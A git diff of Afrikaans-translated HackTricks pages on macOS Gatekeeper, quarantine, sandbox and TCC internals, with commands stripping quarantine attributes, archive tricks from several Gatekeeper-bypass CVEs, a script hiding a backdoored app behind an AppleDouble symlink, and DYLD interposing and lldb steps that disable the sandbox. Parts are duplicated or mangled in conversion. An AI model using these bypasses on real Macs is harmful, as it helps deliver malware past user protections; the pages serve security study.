int qtn_file_apply_to_path(qtn_file_t qf, const char *path);
|
||||
int qtn_file_init_with_path(qtn_file_t qf, const char *path);
|
||||
int qtn_proc_set_identifier(qtn_proc_t qp, const char* bundleid);
|
||||
typedef struct \_qtn\_proc \*qtn\_proc\_t; typedef struct \_qtn\_file \*qtn\_file\_t;
|
||||
|
||||
int qtn\_proc\_apply\_to\_self(qtn\_proc\_t); void qtn\_proc\_init(qtn\_proc\_t); int qtn\_proc\_init\_with\_self(qtn\_proc\_t); int qtn\_proc\_set\_flags(qtn\_proc\_t, uint32\_t flags); qtn\_proc\_t qtn\_proc\_alloc(); void qtn\_proc\_free(qtn\_proc\_t); qtn\_file\_t qtn\_file\_alloc(void); void qtn\_file\_free(qtn\_file\_t qf); int qtn\_file\_set\_flags(qtn\_file\_t qf, uint32\_t flags); uint32\_t qtn\_file\_get\_flags(qtn\_file\_t qf); int qtn\_file\_apply\_to\_path(qtn\_file\_t qf, const char \*path); int qtn\_file\_init\_with\_path(qtn\_file\_t qf, const char _path); int qtn\_proc\_set\_identifier(qtn\_proc\_t qp, const char_ bundleid);
|
||||
|
||||
int main() {
|
||||
|
||||
qtn_proc_t qp = qtn_proc_alloc();
|
||||
qtn_proc_set_identifier(qp, "xyz.hacktricks.qa");
|
||||
qtn_proc_set_flags(qp, QTN_FLAG_DOWNLOAD | QTN_FLAG_USER_APPROVED);
|
||||
qtn_proc_apply_to_self(qp);
|
||||
qtn_proc_free(qp);
|
||||
qtn\_proc\_t qp = qtn\_proc\_alloc(); qtn\_proc\_set\_identifier(qp, "xyz.hacktricks.qa"); qtn\_proc\_set\_flags(qp, QTN\_FLAG\_DOWNLOAD | QTN\_FLAG\_USER\_APPROVED); qtn\_proc\_apply\_to\_self(qp); qtn\_proc\_free(qp);
|
||||
|
||||
FILE *fp;
|
||||
fp = fopen("thisisquarantined.txt", "w+");
|
||||
fprintf(fp, "Hello Quarantine\n");
|
||||
fclose(fp);
|
||||
FILE \*fp; fp = fopen("thisisquarantined.txt", "w+"); fprintf(fp, "Hello Quarantine\n"); fclose(fp);
|
||||
|
||||
return 0;
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
````
|
||||
</details>
|
||||
|
||||
En **verwyder** daardie eienskap met:
|
||||
|
@ -266,7 +251,8 @@ En **verwyder** daardie eienskap met:
|
|||
xattr -d com.apple.quarantine portada.png
|
||||
#You can also remove this attribute from every file with
|
||||
find . -iname '*' -print0 | xargs -0 xattr -d com.apple.quarantine
|
||||
```
|
||||
````
|
||||
|
||||
En vind al die gekwarantyniseerde lêers met:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -277,11 +263,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
|
|||
|
||||
Kwarantyninligting word ook gestoor in 'n sentrale databasis wat deur LaunchServices in **`~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`** bestuur word.
|
||||
|
||||
#### **Quarantine.kext**
|
||||
**Quarantine.kext**
|
||||
|
||||
Die kernel-uitbreiding is slegs beskikbaar deur die **kernel-cache op die stelsel**; jy _kan_ egter die **Kernel Debug Kit aflaai vanaf https://developer.apple.com/**, wat 'n gesimboliseerde weergawe van die uitbreiding sal bevat.
|
||||
|
||||
### XProtect
|
||||
#### XProtect
|
||||
|
||||
XProtect is 'n ingeboude **anti-malware**-funksie in macOS. XProtect **kontroleer enige toepassing wanneer dit vir die eerste keer geloods of gewysig word teen sy databasis** van bekende malware en onveilige lêertipes. Wanneer jy 'n lêer aflaai deur sekere programme, soos Safari, Mail of Messages, skandeer XProtect outomaties die lêer. As dit enige bekende malware in sy databasis pas, sal XProtect die lêer **verhoed om uitgevoer te word** en jou waarsku vir die bedreiging.
|
||||
|
||||
|
@ -306,27 +292,25 @@ XProtect is geleë op 'n SIP-beskermde plek by **/Library/Apple/System/Library/C
|
|||
|
||||
Let daarop dat daar 'n ander toepassing is in **`/Library/Apple/System/Library/CoreServices/XProtect.app`** wat verband hou met XProtect en nie betrokke is by die Gatekeeper-proses nie.
|
||||
|
||||
### Nie Gatekeeper nie
|
||||
#### Nie Gatekeeper nie
|
||||
|
||||
{% hint style="danger" %}
|
||||
Let daarop dat Gatekeeper **nie elke keer uitgevoer word** wanneer jy 'n toepassing uitvoer nie, net _**AppleMobileFileIntegrity**_ (AMFI) sal slegs **uitvoerbare kodesignature** verifieer wanneer jy 'n toepassing uitvoer wat reeds deur Gatekeeper uitgevoer en geverifieer is.
|
||||
{% endhint %}
|
||||
|
||||
Daarom was dit voorheen moontlik om 'n toepassing uit te voer om dit met Gatekeeper te laai, dan **nie-uitvoerbare lêers van die toepassing te wysig** (soos Electron asar- of NIB-lêers) en as geen ander beskermings in plek was nie, is die toepassing **uitgevoer** met die **boosaardige** byvoegings.
|
||||
|
||||
Dit is egter nou nie moontlik nie omdat macOS **wysiging van lêers binne toepassingsbundels voorkom**. As jy dus die [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md) aanval probeer, sal jy vind dat dit nie meer moontlik is om dit te misbruik nie, want nadat jy die toepassing uitvoer om dit met Gatekeeper te laai, sal jy nie in staat wees om die bundel te wysig nie. En as jy byvoorbeeld die naam van die Contents-gids verander na NotCon (soos aangedui in die uitbuiting), en dan die hoofbinêre van die toepassing uitvoer om dit met Gatekeeper te laai, sal dit 'n fout veroorsaak en nie uitvoer nie.
|
||||
|
||||
## Gatekeeper-omseilings
|
||||
### Gatekeeper-omseilings
|
||||
|
||||
Enige manier om Gatekeeper te omseil (om die gebruiker te laat iets aflaai en uitvoer wanneer Gatekeeper dit moet verbied) word beskou as 'n kwesbaarheid in macOS. Hierdie is 'n paar CVE's wat toegeken is aan tegnieke wat in die verlede gebruik is om Gatekeeper te omseil:
|
||||
|
||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
#### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||
|
||||
Daar is waargeneem dat as die **Archive Utility** vir onttrekking gebruik word, ontvang lêers met **paaie wat 886 karakters oorskry** nie die com.apple.quarantine uitgebreide kenmerk nie. Hierdie situasie laat hierdie lêers onbedoeld toe om Gatekeeper se sekuriteitskontroles te **omseil**.
|
||||
|
||||
Kyk na die [**oorspronklike verslag**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) vir meer inligting.
|
||||
|
||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
#### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||
|
||||
Wanneer 'n toepassing met **Automator** geskep word, is die inligting oor wat dit moet uitvoer binne `application.app/Contents/document.wflow` en nie in die uitvoerbare lêer nie. Die uitvoerbare lêer is net 'n generiese Automator-binêre genaamd **Automator Application Stub**.
|
||||
|
||||
|
@ -336,31 +320,37 @@ Voorbeeld van verwagte ligging: `/System/Library/CoreServices/Automator\ Applica
|
|||
|
||||
Kyk na die [**oorspronklike verslag**](https://ronmasas.com/posts/bypass-macos-gatekeeper) vir meer inligting.
|
||||
|
||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
#### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||
|
||||
In hierdie omseiling is 'n zip-lêer geskep met 'n toepassing wat begin om vanaf `application.app/Contents` te komprimeer in plaas van `application.app`. Daarom is die **karantynkenmerk** toegepas op al die **lêers vanaf `application.app/Contents`** maar **nie op `application.app`** nie, wat Gatekeeper was aan die ondersoek, dus is Gatekeeper omseil omdat toe `application.app` geaktiveer is, het dit **nie die karantynkenmerk gehad nie**.
|
||||
|
||||
```bash
|
||||
zip -r test.app/Contents test.zip
|
||||
```
|
||||
|
||||
Kyk na die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) vir meer inligting.
|
||||
|
||||
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
#### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
|
||||
|
||||
Selfs al is die komponente verskillend, is die uitbuiting van hierdie kwesbaarheid baie soortgelyk aan die vorige een. In hierdie geval sal ons 'n Apple-argief genereer vanaf **`application.app/Contents`** sodat **`application.app` nie die karantynattribuut sal kry** wanneer dit gedekomprimeer word deur **Archive Utility**.
|
||||
|
||||
```bash
|
||||
aa archive -d test.app/Contents -o test.app.aar
|
||||
```
|
||||
|
||||
Kyk na die [**oorspronklike verslag**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) vir meer inligting.
|
||||
|
||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
#### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||
|
||||
Die ACL **`writeextattr`** kan gebruik word om te voorkom dat iemand 'n atribuut in 'n lêer skryf:
|
||||
|
||||
```bash
|
||||
touch /tmp/no-attr
|
||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||
xattr -w attrname vale /tmp/no-attr
|
||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||
```
|
||||
|
||||
Verder kopieer die **AppleDouble** lêerformaat 'n lêer saam met sy ACEs.
|
||||
|
||||
In die [**bronkode**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) is dit moontlik om te sien dat die ACL-teksvoorstelling wat binne die xattr genaamd **`com.apple.acl.text`** gestoor word, as ACL in die gedekomprimeerde lêer ingestel sal word. So, as jy 'n toepassing saamgepers het in 'n zip-lêer met die **AppleDouble** lêerformaat met 'n ACL wat voorkom dat ander xattrs daarin geskryf word... die karantyn xattr is nie in die toepassing ingestel nie:
|
||||
|
@ -377,17 +367,19 @@ python3 -m http.server
|
|||
Kyk na die [**oorspronklike verslag**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) vir meer inligting.
|
||||
|
||||
Let daarop dat dit ook uitgebuit kan word met AppleArchives:
|
||||
|
||||
```bash
|
||||
mkdir app
|
||||
touch app/test
|
||||
chmod +a "everyone deny write,writeattr,writeextattr" app/test
|
||||
aa archive -d app -o test.aar
|
||||
```
|
||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
#### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||
|
||||
Dit is ontdek dat **Google Chrome nie die karantyn atribuut** op afgelaaide lêers instel nie as gevolg van sekere interne macOS probleme.
|
||||
|
||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
#### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||
|
||||
AppleDouble lêerformate stoor die atribuute van 'n lêer in 'n aparte lêer wat begin met `._`, dit help om lêer atribuute **oor macOS masjiene** te kopieer. Dit is egter opgemerk dat nadat 'n AppleDouble lêer gedekomprimeer is, die lêer wat begin met `._` **nie die karantyn atribuut gekry het nie**.
|
||||
|
||||
|
@ -405,6 +397,7 @@ aa archive -d test/ -o test.aar
|
|||
|
||||
Om 'n lêer te skep sonder die karantynatribuut, was dit **moontlik om Gatekeeper te omseil.** Die truuk was om 'n DMG-lêer-toepassing te skep deur die AppleDouble-naamkonvensie te gebruik (begin dit met `._`) en 'n **sigbare lêer as 'n simboliese skakel na hierdie verborge** lêer sonder die karantynatribuut te skep.\
|
||||
Wanneer die **dmg-lêer uitgevoer word**, sal dit Gatekeeper **omseil omdat dit nie 'n karantynatribuut het nie**.
|
||||
|
||||
```bash
|
||||
# Create an app bundle with the backdoor an call it app.app
|
||||
|
||||
|
@ -420,20 +413,11 @@ ln -s ._app.dmg s/app/app.dmg
|
|||
echo "[+] compressing files"
|
||||
aa archive -d s/ -o app.aar
|
||||
```
|
||||
### Voorkom Quarantine xattr
|
||||
|
||||
#### Voorkom Quarantine xattr
|
||||
|
||||
In 'n ".app" bundel, as die quarantine xattr nie daaraan toegevoeg word nie, sal **Gatekeeper nie geaktiveer word** wanneer dit uitgevoer word nie.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# macOS Sandboks Debuut & Omspring
|
||||
# macOS Sandbox Debug & Bypass
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -9,7 +9,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
@ -77,18 +77,21 @@ As jy vanuit die sandboksproses in staat is om **ander prosesse** wat in minder
|
|||
[**Hierdie navorsing**](https://saagarjha.com/blog/2020/05/20/mac-app-store-sandbox-escape/) het 2 maniere ontdek om die Sandboks te omseil. Omdat die sandboks vanuit die gebruikersruimte toegepas word wanneer die **libSystem**-biblioteek gelaai word. As 'n binêre lêer dit kan vermy om dit te laai, sal dit nooit geïsoleer word nie:
|
||||
|
||||
* As die binêre lêer **volledig staties gekompileer** is, kan dit vermy om daardie biblioteek te laai.
|
||||
* As die **binêre lêer nie enige biblioteke hoef te laai** nie (omdat die skakelaar ook in libSystem is), sal dit nie libSystem hoef te laai nie. 
|
||||
* As die **binêre lêer nie enige biblioteke hoef te laai** nie (omdat die skakelaar ook in libSystem is), sal dit nie libSystem hoef te laai nie.
|
||||
|
||||
### Skulpkodes
|
||||
|
||||
Let daarop dat **selfs skulpkodes** in ARM64 gekoppel moet word aan `libSystem.dylib`:
|
||||
|
||||
```bash
|
||||
ld -o shell shell.o -macosx_version_min 13.0
|
||||
ld: dynamic executables or dylibs must link with libSystem.dylib for architecture arm64
|
||||
```
|
||||
|
||||
### Toekennings
|
||||
|
||||
Let daarop dat selfs al mag sommige **aksies toegelaat word deur die sandboks**, as 'n toepassing 'n spesifieke **toekennings** het, soos in:
|
||||
|
||||
```scheme
|
||||
(when (entitlement "com.apple.security.network.client")
|
||||
(allow network-outbound (remote ip))
|
||||
|
@ -98,15 +101,17 @@ Let daarop dat selfs al mag sommige **aksies toegelaat word deur die sandboks**,
|
|||
(global-name "com.apple.cfnetwork.cfnetworkagent")
|
||||
[...]
|
||||
```
|
||||
|
||||
### Interposting Bypass
|
||||
|
||||
Vir meer inligting oor **Interposting**, kyk:
|
||||
|
||||
{% content-ref url="../../../mac-os-architecture/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../../mac-os-architecture/macos-function-hooking.md)
|
||||
{% content-ref url="../../../macos-proces-abuse/macos-function-hooking.md" %}
|
||||
[macos-function-hooking.md](../../../macos-proces-abuse/macos-function-hooking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
#### Interposteer `_libsecinit_initializer` om die sandkas te voorkom
|
||||
|
||||
```c
|
||||
// gcc -dynamiclib interpose.c -o interpose.dylib
|
||||
|
||||
|
@ -130,6 +135,7 @@ DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
|||
_libsecinit_initializer called
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
|
||||
#### Interposteer `__mac_syscall` om die Sandboks te voorkom
|
||||
|
||||
{% code title="interpose.c" %}
|
||||
|
@ -165,6 +171,7 @@ __attribute__((used)) static const struct interpose_sym interposers[] __attribut
|
|||
};
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
```bash
|
||||
DYLD_INSERT_LIBRARIES=./interpose.dylib ./sand
|
||||
|
||||
|
@ -176,20 +183,22 @@ __mac_syscall invoked. Policy: Quarantine, Call: 87
|
|||
__mac_syscall invoked. Policy: Sandbox, Call: 4
|
||||
Sandbox Bypassed!
|
||||
```
|
||||
|
||||
### Foutopsporing en omseiling van Sandboks met lldb
|
||||
|
||||
Laten ons 'n toepassing saamstel wat gesandboks moet word:
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="sand.c" %}
|
||||
{% tab title="undefined" %}
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
int main() {
|
||||
system("cat ~/Desktop/del.txt");
|
||||
}
|
||||
```
|
||||
{% tab title="entitlements.xml" %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="entitlements.xml" %}
|
||||
Hierdie lêer bevat die toestemmings wat aan 'n toepassing in die macOS-sandbox toegeken word. Die toestemmings bepaal watter hulpbronne en funksies die toepassing mag gebruik. Hierdie lêer kan aangepas word om sekere beperkings te omseil en toegang tot beperkte hulpbronne te verkry.
|
||||
|
||||
Die inhoud van die lêer moet in XML-formaat wees en spesifieke sleutels en waardes moet ingesluit word om die toestemmings te definieer. Hier is 'n voorbeeld van hoe die lêer lyk:
|
||||
|
@ -212,8 +221,9 @@ Die inhoud van die lêer moet in XML-formaat wees en spesifieke sleutels en waar
|
|||
In hierdie voorbeeld word drie toestemmings toegeken aan die toepassing: `com.apple.security.app-sandbox`, `com.apple.security.network.client`, en `com.apple.security.files.user-selected.read-write`. Die waardes van hierdie sleutels is `true`, wat beteken dat die toepassing toegang het tot die betrokke hulpbronne.
|
||||
|
||||
Dit is belangrik om op te let dat die aanpassing van hierdie lêer 'n potensiële veiligheidsrisiko kan skep, aangesien dit die beperkings van die sandbox omseil. Dit moet slegs gedoen word as dit absoluut noodsaaklik is en met groot omsigtigheid.
|
||||
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="undefined" %}
|
||||
```xml
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
<dict>
|
||||
|
@ -222,6 +232,8 @@ Dit is belangrik om op te let dat die aanpassing van hierdie lêer 'n potensiël
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Info.plist" %}
|
||||
```xml
|
||||
<plist version="1.0">
|
||||
|
@ -253,12 +265,14 @@ codesign -s <cert-name> --entitlements entitlements.xml sand
|
|||
{% hint style="danger" %}
|
||||
Die app sal probeer om die lêer **`~/Desktop/del.txt`** te **lees**, wat die **Sandbox nie sal toelaat nie**.\
|
||||
Skep 'n lêer daar aangesien, sodra die Sandbox omseil is, sal dit in staat wees om dit te lees:
|
||||
|
||||
```bash
|
||||
echo "Sandbox Bypassed" > ~/Desktop/del.txt
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Laat ons die toepassing ontleed om te sien wanneer die Sandboks gelaai word:
|
||||
|
||||
```bash
|
||||
# Load app in debugging
|
||||
lldb ./sand
|
||||
|
@ -335,6 +349,7 @@ Process 2517 resuming
|
|||
Sandbox Bypassed!
|
||||
Process 2517 exited with status = 0 (0x00000000)
|
||||
```
|
||||
|
||||
{% hint style="warning" %}
|
||||
**Selfs met die omseiling van die Sandboks, sal TCC** die gebruiker vra of hy die proses wil toelaat om lêers vanaf die lessenaar te lees.
|
||||
{% endhint %}
|
||||
|
@ -354,7 +369,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -27,21 +27,23 @@ Gebruikers kom TCC teë wanneer aansoeke toegang tot beskermde funksies versoek.
|
|||
Daar is 'n **gebruikermodus tccd** wat vir elke ingeteken gebruiker hardloop, gedefinieer in `/System/Library/LaunchAgents/com.apple.tccd.plist` wat die mach-diens `com.apple.tccd` en `com.apple.usernotifications.delegate.com.apple.tccd` registreer.
|
||||
|
||||
Hier kan jy sien hoe die tccd as stelsel en as gebruiker hardloop:
|
||||
|
||||
```bash
|
||||
ps -ef | grep tcc
|
||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||
501 63079 1 0 6:59PM ?? 0:01.95 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd
|
||||
```
|
||||
|
||||
Toestemmings word **geërf** van die ouer aansoek en die **toestemmings** word **opgespoor** gebaseer op die **Bundel-ID** en die **Ontwikkelaar-ID**.
|
||||
|
||||
### TCC Databasisse
|
||||
|
||||
Die toestemmings word dan gestoor in sekere TCC databasisse:
|
||||
|
||||
- Die stelselwye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
- Hierdie databasis is **SIP beskerm**, sodat slegs 'n SIP-omleiding daarin kan skryf.
|
||||
- Die gebruiker TCC-databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir gebruikersvoorkeure.
|
||||
- Hierdie databasis is beskerm sodat slegs prosesse met hoë TCC-voorregte soos Volle Skyftoegang daarin kan skryf (maar dit word nie deur SIP beskerm nie).
|
||||
* Die stelselwye databasis in **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||
* Hierdie databasis is **SIP beskerm**, sodat slegs 'n SIP-omleiding daarin kan skryf.
|
||||
* Die gebruiker TCC-databasis **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** vir gebruikersvoorkeure.
|
||||
* Hierdie databasis is beskerm sodat slegs prosesse met hoë TCC-voorregte soos Volle Skyftoegang daarin kan skryf (maar dit word nie deur SIP beskerm nie).
|
||||
|
||||
{% hint style="warning" %}
|
||||
Die vorige databasisse is ook **TCC beskerm vir leestoegang**. Jy **sal nie in staat wees om** jou gewone gebruiker TCC-databasis te lees tensy dit van 'n TCC-bevoorregte proses afkomstig is.
|
||||
|
@ -49,10 +51,10 @@ Die vorige databasisse is ook **TCC beskerm vir leestoegang**. Jy **sal nie in s
|
|||
Onthou egter dat 'n proses met hierdie hoë voorregte (soos **FDA** of **`kTCCServiceEndpointSecurityClient`**) in staat sal wees om die gebruikers TCC-databasis te skryf.
|
||||
{% endhint %}
|
||||
|
||||
- Daar is 'n **derde** TCC-databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegang tot **liggingdiens** toegelaat word.
|
||||
- Die SIP-beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen leestoegang met TCC), bevat die **ligging** van al die **geldige TCC-databasisse**.
|
||||
- Die SIP-beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen leestoegang met TCC), bevat meer TCC-toegestane toestemmings.
|
||||
- Die SIP-beskermde lêer **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (maar leesbaar deur enigiemand) is 'n lys van programme wat 'n TCC-uitsondering benodig.
|
||||
* Daar is 'n **derde** TCC-databasis in **`/var/db/locationd/clients.plist`** om kliënte aan te dui wat toegang tot **liggingdiens** toegelaat word.
|
||||
* Die SIP-beskermde lêer **`/Users/carlospolop/Downloads/REG.db`** (ook beskerm teen leestoegang met TCC), bevat die **ligging** van al die **geldige TCC-databasisse**.
|
||||
* Die SIP-beskermde lêer **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (ook beskerm teen leestoegang met TCC), bevat meer TCC-toegestane toestemmings.
|
||||
* Die SIP-beskermde lêer **`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`** (maar leesbaar deur enigiemand) is 'n lys van programme wat 'n TCC-uitsondering benodig.
|
||||
|
||||
{% hint style="success" %}
|
||||
Die TCC-databasis in **iOS** is in **`/private/var/mobile/Library/TCC/TCC.db`**
|
||||
|
@ -135,6 +137,7 @@ Deur beide databasisse te ondersoek, kan jy die regte wat 'n app toegelaat het,
|
|||
<summary>Hoe om uit te voer as dit 'n absolute pad is</summary>
|
||||
|
||||
Doen net **`launctl load jou_bin.plist`**, met 'n plist soos:
|
||||
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -171,11 +174,11 @@ Doen net **`launctl load jou_bin.plist`**, met 'n plist soos:
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
</besonderhede>
|
||||
|
||||
* Die **`auth_value`** kan verskillende waardes hê: geweier(0), onbekend(1), toegelaat(2), of beperk(3).
|
||||
* Die **`auth_reason`** kan die volgende waardes aanneem: Fout(1), Gebruikerstoestemming(2), Gebruiker ingestel(3), Stelsel ingestel(4), Diensbeleid(5), MDM-beleid(6), Oorskrydingbeleid(7), Ontbrekende gebruiksteende(8), Vraagtyduit(9), Vooraflaai onbekend(10), Geregverklaar(11), Toepassingstipebeleid(12)
|
||||
* Die **csreq** veld is daar om aan te dui hoe om die binêre lêer te verifieer om uit te voer en die TCC-toestemmings toe te ken:
|
||||
|
||||
```bash
|
||||
# Query to get cserq in printable hex
|
||||
select service, client, hex(csreq) from access where auth_value=2;
|
||||
|
@ -191,15 +194,15 @@ echo "$REQ_STR" | csreq -r- -b /tmp/csreq.bin
|
|||
REQ_HEX=$(xxd -p /tmp/csreq.bin | tr -d '\n')
|
||||
echo "X'$REQ_HEX'"
|
||||
```
|
||||
|
||||
* Vir meer inligting oor die **ander velde** van die tabel [**kyk na hierdie blogpos**](https://www.rainforestqa.com/blog/macos-tcc-db-deep-dive).
|
||||
|
||||
Jy kan ook **reeds toegekende toestemmings** vir programme in `Sisteemvoorkeure --> Sekuriteit & Privaatheid --> Privaatheid --> Lêers en Vouers` nagaan.
|
||||
|
||||
{% hint style="success" %}
|
||||
Gebruikers _kan_ **reëls verwyder of navrae doen** met behulp van **`tccutil`**.
|
||||
{% endhint %}
|
||||
|
||||
#### Stel TCC-toestemmings terug
|
||||
**Stel TCC-toestemmings terug**
|
||||
|
||||
```bash
|
||||
# You can reset all the permissions given to an application with
|
||||
tccutil reset All app.some.id
|
||||
|
@ -207,7 +210,8 @@ tccutil reset All app.some.id
|
|||
# Reset the permissions granted to all apps
|
||||
tccutil reset All
|
||||
```
|
||||
### TCC Handtekeningkontroles
|
||||
|
||||
#### TCC Handtekeningkontroles
|
||||
|
||||
Die TCC **databasis** stoor die **Bundel-ID** van die aansoek, maar dit stoor ook **inligting** oor die **handtekening** om **seker te maak** dat die aansoek wat toestemming vra, die regte een is.
|
||||
|
||||
|
